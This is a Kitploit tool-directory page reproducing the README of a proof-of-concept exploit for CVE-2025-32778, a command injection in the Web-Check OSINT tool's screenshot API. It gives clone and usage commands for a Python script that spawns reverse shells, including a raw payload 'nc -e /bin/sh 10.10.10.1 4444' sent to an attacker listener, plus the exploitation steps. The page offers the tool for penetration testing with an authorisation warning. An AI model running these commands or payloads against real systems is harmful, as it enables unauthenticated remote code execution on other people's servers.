Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32778 — PoC exploit for CVE-2025-32778: command injection in Web-Check OSINT tool | Kitploit
Tools/GitHubGitHub/00xcanelo/cve-2025-32778
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHub00xcanelo/cve-2025-32778

CVE-2025-32778

PoC exploit for CVE-2025-32778: command injection in Web-Check OSINT tool

View Repository
31491 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-32778 - Web-Check Command Injection Exploit

Critical Language: Python

Description

CVE-2025-32778 is a critical command injection vulnerability in Web-Check OSINT tool by Lissy93.
It allows unauthenticated attackers to execute arbitrary system commands via the url parameter in the screenshot API.

This Python script automates exploitation and can generate reverse shells or accept custom shell payloads.

Warning

  • Only test on systems you own or are authorized to test.
  • Unauthorized use is illegal and unethical.

Features

  • Exploit url command injection in Web-Check.
  • Supports:
  • Reverse shell with --lhost and --lport.
  • Custom shell via --shell.
  • URL normalization.
  • Prevents combining --shell with --lhost/--lport.

    • Requirements

    • Python 3.x
    • Requests library:
    root@kitploit:~
    pip install requests

    Usage

    root@kitploit:~
    git clone https://github.com/00xCanelo/CVE-2025-32778
cd CVE-2025-32778

    Make the tool create a reverse shell

    root@kitploit:~
    python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --lhost 10.10.10.1 --lport 4444

    Custom Shell Payload (Raw)

    root@kitploit:~
    python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --shell "nc -e /bin/sh 10.10.10.1 4444"

    Help Menu

    root@kitploit:~
    python3 cve-2025-32778.py -h

    How It Works

    1. Normalize the target URL to scheme://host[:port].

    2. Prepare the payload:

      • Generate a reverse shell using --lhost and --lport.
      • Or use a raw shell command with --shell.

    3. Encode the shell payload for safe URL injection.

    4. Send an HTTP GET request to /api/screenshot/ with the payload.

    5. Wait for the reverse shell connection.

    🧑‍💻 Author

    00xCanelo
    GitHub Profile

    References

    • Web-Check GitHub Repository – Original project containing the vulnerable code.
    • CVE-2025-32778 – CVE entry describing the command injection vulnerability.
    Download Tool